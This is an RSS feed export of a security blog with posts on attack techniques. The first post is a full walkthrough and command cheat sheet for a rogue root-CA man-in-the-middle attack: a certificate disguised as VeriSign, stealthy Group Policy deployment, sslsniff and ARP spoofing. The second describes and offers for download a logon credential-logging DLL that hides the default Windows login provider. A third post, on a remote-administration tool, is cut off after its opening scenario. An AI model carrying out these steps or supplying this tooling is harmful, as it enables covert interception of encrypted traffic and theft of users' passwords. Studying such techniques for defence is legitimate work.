<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Tyler Wrightson&#039;s Security Blog</title>
	<atom:link href="http://twrightson.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://twrightson.wordpress.com</link>
	<description>Attack, Defense, Forensics, Coding... Security</description>
	<lastBuildDate>Wed, 18 Jan 2012 20:05:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='twrightson.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Tyler Wrightson&#039;s Security Blog</title>
		<link>http://twrightson.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://twrightson.wordpress.com/osd.xml" title="Tyler Wrightson&#039;s Security Blog" />
	<atom:link rel='hub' href='http://twrightson.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Insider Rogue Certification Authority Attack</title>
		<link>http://twrightson.wordpress.com/2012/01/18/insider-rogue-certification-authority-attack/</link>
		<comments>http://twrightson.wordpress.com/2012/01/18/insider-rogue-certification-authority-attack/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 20:03:52 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[certification authorities]]></category>
		<category><![CDATA[insider rogue certification authority attack]]></category>
		<category><![CDATA[rogue certification authority]]></category>
		<category><![CDATA[rogue certification authority attack]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=277</guid>
		<description><![CDATA[Overview The fundamental issue with SSL is that of trust.  Despite all the effort that has gone into a robust and cryptographically secure design for SSL, its foundation is still easily abused.  In this paper I will explain an often-overlooked area of SSL exploitation.  That is the ability for any certificate to act as a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=277&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Overview</strong></p>
<p>The fundamental issue with SSL is that of trust.  Despite all the effort that has gone into a robust and cryptographically secure design for SSL, its foundation is still easily abused.  In this paper I will explain an often-overlooked area of SSL exploitation.  That is the ability for any certificate to act as a root Certificate Authority for a system that can easily be added surreptitiously.</p>
<p>I’ve wanted to write about this very simple, yet often overlooked SSL attack technique for a while but hadn’t found the time.  After working through a few scenarios I’ve come to the conclusion that this is a relatively stealthy and very effective post exploitation tactic.  I consider this to be a post exploitation tactic because you need to already be in a position of power to assign a certificate as a trusted root certificate.</p>
<p><strong>Core Issue</strong></p>
<p>The core issue here is that there’s no distinction between Certification Authorities that have been added independently and those that are considered ‘standard’.  The main point I wish to make is that a person in a position of power can easily abuse SSL.  So even though users might be well trained to make sure they see the ‘lock icon’ in their browser they are still completely susceptible to real world attacks with real consequences.</p>
<p>I had also wanted to write about government and nation states’ abilities to easily circumvent the protection provided by SSL, but someone beat me to the punch.  There’s actually a very well written paper by Christopher Soghoian and Sid Stamm, which you can download at http://files.cloudprivacy.net/ssl-mitm.pdf.</p>
<p>This attack also has implications for systems other than SSL, however SSL is an example we can all understand and is the technology we’ll focus on here.</p>
<p>The scenarios in which this could be an effective attack are limitless.  Some of the biggest risks are:</p>
<ul>
<li>A less scrupulous company IT admin wishing to view all the encrypted communications of the company’s employees</li>
<li>A compromised system or network propagating a rogue root certificate authority to further ones level of access</li>
<li>A virus propagating a rogue CA certificate to all infected hosts</li>
</ul>
<p>We will look at the implications of each of these shortly.</p>
<p><strong>Arguments For and Against</strong></p>
<p>If you have domain admin why do you need to do this?  Couldn’t you use any of another million more obvious choices like install a keylogger, rootkit, etc?  I agree, there are some cases where other traditional methods make more sense if you already have local admin on the target system.  However you shouldn’t completely disregard the attack, as there are scenarios where this makes more sense.  The biggest advantage appears to be that of stealth and ease of exploitation.</p>
<p>You can leave no other trace on a system except for a certificate and have the ability to then capture very sensitive data from the network.  Ask yourself; in all your years of scanning for viruses and malware, examining rootkits, performing forensics, etc, have you ever considered looking at all the certificates on a system to ensure they are all meant to be there.  With viruses, rootkits and backdoors there’s something to be discovered, including network traffic when the backdoor reports back home.  With a rogue certificate there is a quiet, seemingly innocent entry in the client’s registry.</p>
<p>You could also consider a pure social engineering attack.  Users might be educated enough to not run an executable downloaded from the Internet but would that same employee know to not install a ‘random’ certificate.  If an attacker were to spend 3 minutes over the phone directing a user to install a new certificate would the user think anything of it?</p>
<p><strong>Implementation</strong></p>
<p>Now lets look at how someone would go about executing such an attack against an entire network once domain administrator privileges have been obtained.</p>
<p><strong>Create Certificate Authority Certificate</strong></p>
<p>You have a few options here on how to actually create the certificate that will be used as a CA certificate.  I’m going to generate the CA certificate on a linux (backtrack) computer because it’s easily scriptable from the command line.  The openssl utilities are included with backtrack as well as most major distributions.  If you were so inclined you could easily create the same certificate on a Windows server.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="500">openssl req -new -x509 -extensions v3_ca -keyout ca.key  -out ca.crt -days 3650</td>
</tr>
</tbody>
</table>
<p>This command generates the private key that will be used to sign the CA certificate and then signs the certificate ‘ca.crt’ which won’t expire for 10 years.  In a normal scenario you’d want a strong password on the key and to treat it as a very sensitive file.    You can see the output in the following image:</p>
<p><a href="http://twrightson.files.wordpress.com/2012/01/ssl-1.png"><img class="alignleft size-medium wp-image-282" title="ssl-1" src="http://twrightson.files.wordpress.com/2012/01/ssl-1.png?w=300&#038;h=170" alt="" width="300" height="170" /></a></p>
<p>We’ve also filled in all the values to describe our certificate.  In our example we created our certificate to look very similar to one of the default VeriSign certificates included with Windows 7.  This would make it even more difficult for someone to determine the validity of the CA certificate.  If we wanted to be super evil we could match the expiration date and the additional OUs with that of the legitimate certificate to make it even more confusing for a would-be forensic examiner.</p>
<p><strong>Distributing our Malicious Certificate</strong></p>
<p>The next step is to get the certificate itself onto our target machines.  The most effective way is through Group Policy.  With Group Policy we can push a certificate out to an entire domain, which includes servers and client computers.  First you need to copy the crt file we generated earlier to the computer which has access to configure a Group Policy Object.  Note that you only need to copy the certificate, not the key file to your target machines.</p>
<p>There are two scenarios that stand out for deploying a rogue CA certificate via Group Policy.  The first is that of an unscrupulous employee doing something they shouldn’t and the second is that of an attacker wishing to further his hold on a compromised network.  Both of these scenarios would require a certain degree of stealth.  Thus we probably wouldn’t create an entirely new GPO, instead we would bury this configuration within an existing GPO.</p>
<p>For this example we’re configuring the Default Domain Policy to include this certificate.  Open Group Policy Editor, edit the GPO of your choice and browse to the following location:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">Computer Configuration \ Policies \ Windows Settings \ Security Settings \ Public Key Policies \ Trusted Root Certification Authorities</td>
</tr>
</tbody>
</table>
<p><a href="http://twrightson.files.wordpress.com/2012/01/ssl-3.jpg"><img class="alignleft size-full wp-image-283" title="SSL-3" src="http://twrightson.files.wordpress.com/2012/01/ssl-3.jpg?w=450&#038;h=360" alt="" width="450" height="360" /></a></p>
<p>Right click on the right pane and choose Import.  The wizard is pretty self-explanatory.  Now our certificate will be propagated to every machine for which this GPO applies.</p>
<p>If you would like to install this on a single test machine you can simply double click the crt file and choose Install Certificate as in the following image.</p>
<p><img class="size-medium wp-image-286 alignnone" title="ssl-4" src="http://twrightson.files.wordpress.com/2012/01/ssl-4.png?w=241&#038;h=300" alt="" width="241" height="300" /></p>
<p>We then want to manually assign this as a Trusted Certification Authority so we choose the ‘Place all certificates in the following store’ option, choose Browse and then select ‘Trusted Root Certification Authorities’ as in the following Image.</p>
<p><a href="http://twrightson.files.wordpress.com/2012/01/ssl-5.png"><img class="size-medium wp-image-287 alignnone" title="ssl-5" src="http://twrightson.files.wordpress.com/2012/01/ssl-5.png?w=300&#038;h=272" alt="" width="300" height="272" /></a></p>
<p>Voila, we can now create certificates for any website, ANY.</p>
<p><strong>Static Certificate Creation</strong></p>
<p>We have the option of creating a certificate for a specific website or system and use this in a more directed fashion.  We also have the option to dynamically create certificates for any website the user visits, which will be covered next.</p>
<p>To create a new certificate we start by creating a new private key as we did before for the CA with the following command:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">openssl genrsa -des3 -out server.key 1024</td>
</tr>
</tbody>
</table>
<p>We then create a new Certificate Signing Request to be signed by our CA with the following command:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">openssl req -new -key server.key -out server.csr</td>
</tr>
</tbody>
</table>
<p>Finally we sign the CSR with the CA key we created earlier and we have the certificate for our server ‘server.crt’.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">openssl x509 -req -days 365 -in server.csr -CA ca.crt \    -CAkey ca.key -set_serial 01 -out server.crt</td>
</tr>
</tbody>
</table>
<p>We would then configure our web server to use the certificate.  Backtrack comes with a good example SSL configuration for apache at /etc/apache2/sites-available/default-ssl.  For apache you’ll need to combine the server key and certificate into one file with the following command.  You would then use the .pem file for your apache server.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">cat server.key server.crt &gt;&gt; server.pem</td>
</tr>
</tbody>
</table>
<p><strong> </strong></p>
<p><strong>Dynamic Certificate Creation</strong></p>
<p>Dynamically creating a certificate is much more fun than just creating a single phony web server.  Luckily Moxie Marlinspike already wrote the sslsniff tool which allows us to dynamically create website certificates based on the users request and sign it with a CA certificate of our choosing.  The sslnsiff utility comes preinstalled on backtrack.</p>
<p>To use the sslsniff program we need to first turn on IP forwarding on our machine and then configure iptables to send any traffic destined to port 443 to the sslsniff program.  The sslsniff program will then handle the actual SSL MITM and dynamic certificate creation.</p>
<p>To enable ip forwarding we use the following command.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">echo 1 &gt; /proc/sys/net/ipv4/ip_forward</td>
</tr>
</tbody>
</table>
<p>We then configure iptables to forward traffic to our sslsniff program, which will be listening on port 9443.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 443  -j REDIRECT &#8211;to-ports 9443</td>
</tr>
</tbody>
</table>
<p>We also need to combine our Certificate and Key into one file, just like the previous apache example.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">cat ca.key ca.crt &gt;&gt; ca.pem</td>
</tr>
</tbody>
</table>
<p>When you combine the certificate and the encrypted key sslsniff will prompt you for the key when it runs.  If you don’t wish to be prompted to enter the key every time you can run the following command to create an unencrypted copy of your key and then append this to your certificate, like so:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">openssl rsa -in ca.key -out ca.plain.keycat ca.plain.key ca.crt &gt;&gt; ca.pem</td>
</tr>
</tbody>
</table>
<p>We then configure sslnsiff to listen on port 9443 with this command.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">sslsniff -a -c /root/ca-cert/ca.pem -s 9443 -w out.txt</td>
</tr>
</tbody>
</table>
<p>The –a option tells sslsniff to run in Authority mode in which it will act as a certificate authority and sign all certificates with the cert pointed to by the –c option.  We then give an output file with the –w option.</p>
<p><strong>Redirect Options</strong></p>
<p>Now for the fun part, actually intercepting SSL encrypted traffic.  The attacker has many options for initiating the Man-In-The-Middle attack.  This is a perfect time for a DNS Poisoning attack however we could also use an Inline Sniffer or any layer 2 MITM (ARP Poisoning, ICMP Redirect, etc).  The best option depends on a myriad of factors but we’ll just use a simple ARP poisoning attack here for simplicities sake.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="443">arpspoof -i eth0 -t 10.0.0.99 10.0.0.1</td>
</tr>
</tbody>
</table>
<p><strong>Cheat Sheet</strong></p>
<p>Here are all the commands necessary to kick off this attack.</p>
<p>openssl req -new -x509 -extensions v3_ca -keyout ca.key  -out ca.crt -days 3650</p>
<p>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</p>
<p>iptables -t nat -A PREROUTING -p tcp &#8211;destination-port 443 -j REDIRECT &#8211;to-ports 9443</p>
<p>openssl rsa -in ca.key -out ca.plain.key</p>
<p>cat ca.plain.key ca.crt &gt;&gt; ca.pem</p>
<p>sslsniff -a -c /root/ca-cert/ca.pem -s 9443 -w out.txt</p>
<p>arpspoof -i eth0 -t 10.0.0.99 10.0.0.1</p>
<p><strong>Whitepaper</strong></p>
<p>You can also download a copy of this as a white paper which is free to distribute at <a href="http://www.leetsys.com/papers/inside-rogue-ca-attack.pdf" target="_blank">http://www.leetsys.com/papers/inside-rogue-ca-attack.pdf</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/277/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=277&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2012/01/18/insider-rogue-certification-authority-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2012/01/ssl-1.png?w=300" medium="image">
			<media:title type="html">ssl-1</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2012/01/ssl-3.jpg" medium="image">
			<media:title type="html">SSL-3</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2012/01/ssl-4.png?w=241" medium="image">
			<media:title type="html">ssl-4</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2012/01/ssl-5.png?w=300" medium="image">
			<media:title type="html">ssl-5</media:title>
		</media:content>
	</item>
		<item>
		<title>Capturing Windows 7 Credentials at Logon Using Custom Credential Provider</title>
		<link>http://twrightson.wordpress.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/</link>
		<comments>http://twrightson.wordpress.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/#comments</comments>
		<pubDate>Mon, 02 Jan 2012 17:33:07 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[backdoors]]></category>
		<category><![CDATA[Programs]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=208</guid>
		<description><![CDATA[For the Eternally Impatient The quick lowdown: I wrote a DLL capable of logging the credentials entered at logon for Windows Vista, 7 and future versions which you can download at http://www.leetsys.com/programs/credentialprovider/cp.zip.  The credentials are logged to a file located at c:\cplog.txt.  Simply copy the dll to the system32 directory and run the included register.reg [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=208&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>For the Eternally Impatient</strong></p>
<p>The quick lowdown: I wrote a DLL capable of logging the credentials entered at logon for Windows Vista, 7 and future versions which you can download at <a title="http://www.leetsys.com/programs/credentialprovider/cp.zip" href="http://www.leetsys.com/programs/credentialprovider/cp.zip" target="_blank">http://www.leetsys.com/programs/credentialprovider/cp.zip</a>.  The credentials are logged to a file located at c:\cplog.txt.  Simply copy the dll to the system32 directory and run the included register.reg script to create the necessary registry settings.</p>
<p><strong>The Detailed Technical Information</strong></p>
<p>I started testing my rootkit on a windows 7 box and luckily most of it worked.  The only thing that wasn&#8217;t working was the ability to log credentials typed in when a user first logs in to Windows.  I&#8217;ve had a custom GINA stub dll that&#8217;s worked great for a while that I wrote years ago, it works with Windows 2000, XP and 2003.  GINA is the Graphical Identification and Authentication component of Windows and handles the logon screen that we&#8217;re all familiar with.  In the past you could choose to write your own GINA dll from scratch, or you could simply &#8216;extend&#8217; the functionality of other GINA modules by creating a GINA stub dll.</p>
<p>Microsoft in their infinite wisdom decided to completely change the API and move away from GINA and the GINA model.  Now to customize the logon experience you have to implement a Credential Provider, this is true for Windows Vista and newer (7 and 2008).  Microsoft claims the reasoning behind this is to make it easier for developers to meet the demands for next generation authentication technologies (like biometrics, two factor and single sign on).  Frankly in a way Credential Providers are a lot easier to work with, but in another (probably more accurate way) they&#8217;re a huge pain in the ass to create our nefarious dll.  From what I remember creating a GINA stub dll to log Windows credentials took me probably 3 hours.  To get a credential provider to do exactly what I want took probably a good 40 hours.  At this point I should probably thank my girlfriend for putting up with my obsessive programming and constant cursing.</p>
<p><strong>The Credential Provider Model</strong></p>
<p>I won&#8217;t go over how GINA handled the authentication process, although if i get enough requests I might detail that in another post.  Instead I&#8217;ll focus on how the Credential Provider Model works.  Credential Providers are &#8216;In-Process COM objects&#8217;, aka a DLL.  Out of process COM objects would essentially be another executable that the interacting exe would interface with.  COM or Component Object Model is a pretty ethereal term, it&#8217;s basically a binary standard and language neutral way of implementing inter process communication, among other things.  This is obviously oversimplifying it, but this isn&#8217;t a discussion on COM.  This was my first time working with COM programming so that definitely accounts for some of the additional time.</p>
<p>The default credential provider is the PasswordProvider that comes with Windows 7 and has a GUID of 6f45dc1e-5384-457a-bc13-2cd81b0d28ed.  GUIDs are simply unique identifiers for our COM object.  One of the most important things to understand is that Credential Providers are not responsible for actually authenticating users.  It simply gathers the necessary information, &#8216;serializes&#8217; the data, and then hands off the credentials to the Local System Authority.  Serializing the data simply involves putting the username and password (and potentially other variables) in a specific format and passing them back to logonui which then hands it off to the LSA.</p>
<p>A Tile is a new term for an important component of a Credential Provider.  Credential providers are represented by unique tiles at the logon screen, although it&#8217;s not a one to one mapping of one tile for each Credential Provider.  For example the default password provider enumerates credentials or user accounts and creates a unique tile for each username.  The user can then click the tile for their username, type in the password and be authenticated.  Although the Credential Provider is not directly responsible for creating the graphical elements it does instruct Logonui of the fields it wishes to present to the user, this does actually make things a lot easier than programming the entire interface.</p>
<p>In this image you&#8217;ll see that we have two credential providers co-existing.  The default passwordprovider is on the left and our credential provider is on the right.</p>
<p><a href="http://twrightson.files.wordpress.com/2012/01/cp-tiles.jpg"><img class="alignleft size-medium wp-image-235" title="CP-Tiles" src="http://twrightson.files.wordpress.com/2012/01/cp-tiles.jpg?w=300&#038;h=112" alt="" width="300" height="112" /></a></p>
<p>You&#8217;ll notice that in this scenario there&#8217;s no way for the user to distinguish between the two credential providers.  So we need a way to &#8216;force&#8217; the user into only using our credential provider.  There&#8217;s no way to truly &#8216;force&#8217; a user to use a particular credential provider when multiple credential providers are presented.  To accomplish our goal we can use the CredentialProviderFilter interface to filter out any other credential providers, more on this shortly.</p>
<p>Winlogon.exe launches Logonui.exe which then queries the credential provider and the credential provider returns information to logonui.  The credential providers are defined in the registry and referenced by a GUID (a unique ID).  The location in the registry where credential providers are defined is: HKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\CredentialProviders.  To add a credential provider we create a new key with the GUID of the provider and copy the dll to the system32 directory. this is handled by the register.reg file included with ours.</p>
<p><strong>Credential Provider Wrapper</strong></p>
<p>We have the option of creating our own credential provider from scratch, filtering out any other provider and logging the credentials.  This isn&#8217;t optimal for a few reasons.  Besides the fact that it&#8217;s a considerable amount of work to create a credential provider to mimic all the existing functionality the main reason we don&#8217;t want to do this is because we can&#8217;t guarantee that the target system we wish to deploy our rogue credential provider on will look and feel exactly as the user expects it to.  For example if the company has deployed a new credential provider to ask the user additional questions during log in and our credential provider does not include those same questions this could set off a huge red flag for anyone using that system.</p>
<p><img class="alignleft size-medium wp-image-254" title="CredProvider" src="http://twrightson.files.wordpress.com/2012/01/credprovider1.jpg?w=288&#038;h=300" alt="" width="288" height="300" /></p>
<p>Thus the best solution for us is to wrap the existing credential providers.  The new process flow with a wrapped provider looks like this figure.  Logonui will make the function calls into our custom credential provider, we can then choose to either handle processing for that function or hand it off to the wrapped credential provider.</p>
<p>We actually have many choices on how to log the username and password using our credential provider wrapper.  The solution I chose was to manipulate the SetStringValue function.  This function is called every time a user types a key for any field in the credential provider.  Thus when a user types in a key we simply write that key to a file.  This also allows us to capture ANYTHING a user types in to a field when they logon, so our provider should grab everything for next gen or non standard credential providers.</p>
<p>We also manipulate the GetStringValue function which gives us the string value of fields in the credential provider.  This is handy because the default password provider does not prompt the user for their username.  Instead the user clicks a tile with their username already filled in, thus we can&#8217;t get the username from the SetStringValue function.</p>
<p>The implementation of my code to grab the user from the GetStringValue function demonstrates a handy feature of the way the wrapped and wrapper relationship works.  In the sample wrapper from the Windows SDK logonui calls our getstringvalue function and we simply hand the variables off directly to the wrapped credential provider.  The wrapped credential provider then performs the work of the getstringvalue function, everything works as it should, and all is good in the world.  Since the ppwsz variable we give to the wrapped credential provider is a pointer to the PWSTR variable that will contain the string of the field specified we can access this variable when the wrapped function returns.  Thus rather than implementing the getstringvalue function we simply hand off the variables as usual and print out the string from the pointer after the real function does all the work and returns.</p>
<p>The function for handing off the work for the GetStringValue function to our wrapped provider looks like this;</p>
<p>hr = _pWrappedCredential-&gt;GetStringValue(dwFieldID, ppwsz);</p>
<p><strong>CredentialProviderFilter</strong></p>
<p>As part of the custom credential provider I implemented the credential provider filter.  This might be one of the most helpful parts of this project/post for other developers.  Microsoft has an FAQ included with their SDK samples for Credential Providers that states they will NOT release a sample credential provider filter&#8230; Thanks Microsoft for releasing a complex API and offering ZERO help, terrific.</p>
<p>Luckily I was able to find a broken example online, fix it, fill in some gaps and now it&#8217;s fully functional.  Thank you to the anonymous person who started the effort.  Credential Providers are defined in the registry as well at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\.  Again all you have to do is create a key with the GUID of the filter.  This is included in the register.reg file included with my credential provider.</p>
<p>Logonui will call the Filter function for any configured credential provider filters.  It will pass a BOOL variable for every credential provider configured, at which point the Filter can choose to allow or deny the specified credential provider by setting the BOOL variable to true or false.</p>
<p>Currently my filter only filters out the password provider, but it&#8217;s incredibly easy to change it to filter out all other providers.  The following evaluation checks to see if the credential provider GUID matches that of the default password provider, if so it filters it out by setting the rgbAllow BOOL to FALSE.  You could change this evaluation to always be true and filter out all providers.</p>
<p>if (IsEqualGUID(rgclsidProviders[i], CLSID_PasswordCredentialProvider))<br />
rgbAllow[i] = FALSE;</p>
<p><strong>Special Notes about The Credential Provider Wrapper</strong></p>
<p>I originally had some issues when trying to compile on Visual Studio 2010 Express so I used Visual Studio 2008 Express and everything was fine.  I have no doubt you could get this to compile with 2010, I just didn&#8217;t feel like wasting time on it.  In addition I had to use the _CRT_SECURE_NO_WARNINGS preprocessor settings which are defined under the properties for the project in Visual Studio, under C/C++ -&gt; Preprocessor Definitions.  This allows us to use the fopen function rather than fopen_s, again, just laziness on my side.  If Microsoft wants to force me to use a specific function it makes me want to do it less, just stubbornness from my childhood that&#8217;s stuck.</p>
<p>I also had to use the following two defines to suppress the error 4995.</p>
<p>#define DEPRECATE_SUPPORTED<br />
#pragma warning(disable:4995)</p>
<p>The GUID can be changed to whatever you want, just manipulate the define in the guid.h file.  One of the best resources I found for helping to understand development of a credential provider was the &#8216;Credential Provider Technical Doc.doc&#8217;, I&#8217;ve included a copy of this doc in my full archive for the credential provider in case the link is ever broken on the interwebs.  You can download the source and dll at <a title="http://www.leetsys.com/programs/credentialprovider/cp-devel.zip" href="http://www.leetsys.com/programs/credentialprovider/cp-devel.zip" target="_blank">http://www.leetsys.com/programs/credentialprovider/cp-devel.zip</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/208/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/208/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/208/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=208&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2012/01/cp-tiles.jpg?w=300" medium="image">
			<media:title type="html">CP-Tiles</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2012/01/credprovider1.jpg?w=288" medium="image">
			<media:title type="html">CredProvider</media:title>
		</media:content>
	</item>
		<item>
		<title>Covert System Manipulation Tool &#8211; SimSim</title>
		<link>http://twrightson.wordpress.com/2011/12/18/covert-system-manipulation-tool-simsim/</link>
		<comments>http://twrightson.wordpress.com/2011/12/18/covert-system-manipulation-tool-simsim/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 01:16:46 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[backdoors]]></category>
		<category><![CDATA[Programs]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=174</guid>
		<description><![CDATA[Scenario You have an Internet system that you would like to administer remotely without leaving the administrative service open to the entire Internet.  However you&#8217;re not always coming from the same source IP address.  Although it&#8217;s common practice to restrict access to only secure administration services (eg SSH) I&#8217;d like to avoid having any TCP [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=174&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Scenario</strong></p>
<p>You have an Internet system that you would like to administer remotely without leaving the administrative service open to the entire Internet.  However you&#8217;re not always coming from the same source IP address.  Although it&#8217;s common practice to restrict access to only secure administration services (eg SSH) I&#8217;d like to avoid having any TCP ports exposed to the open Internet.</p>
<p>My specific scenario is this.   I have a VPS hosted in the cloud which I don&#8217;t want to have ANY ports open to would be attackers.  I wish to manage the server via SSH but again I don&#8217;t want to even have this port open to the entire Internet.  Thus we need a way to firewall our VPS off from the entire Internet and yet easily open access to ssh from any IP address.  To make this easy it should not require a dedicated client and should hopefully use a standard and easy method to send the password.</p>
<p><strong>Solution</strong></p>
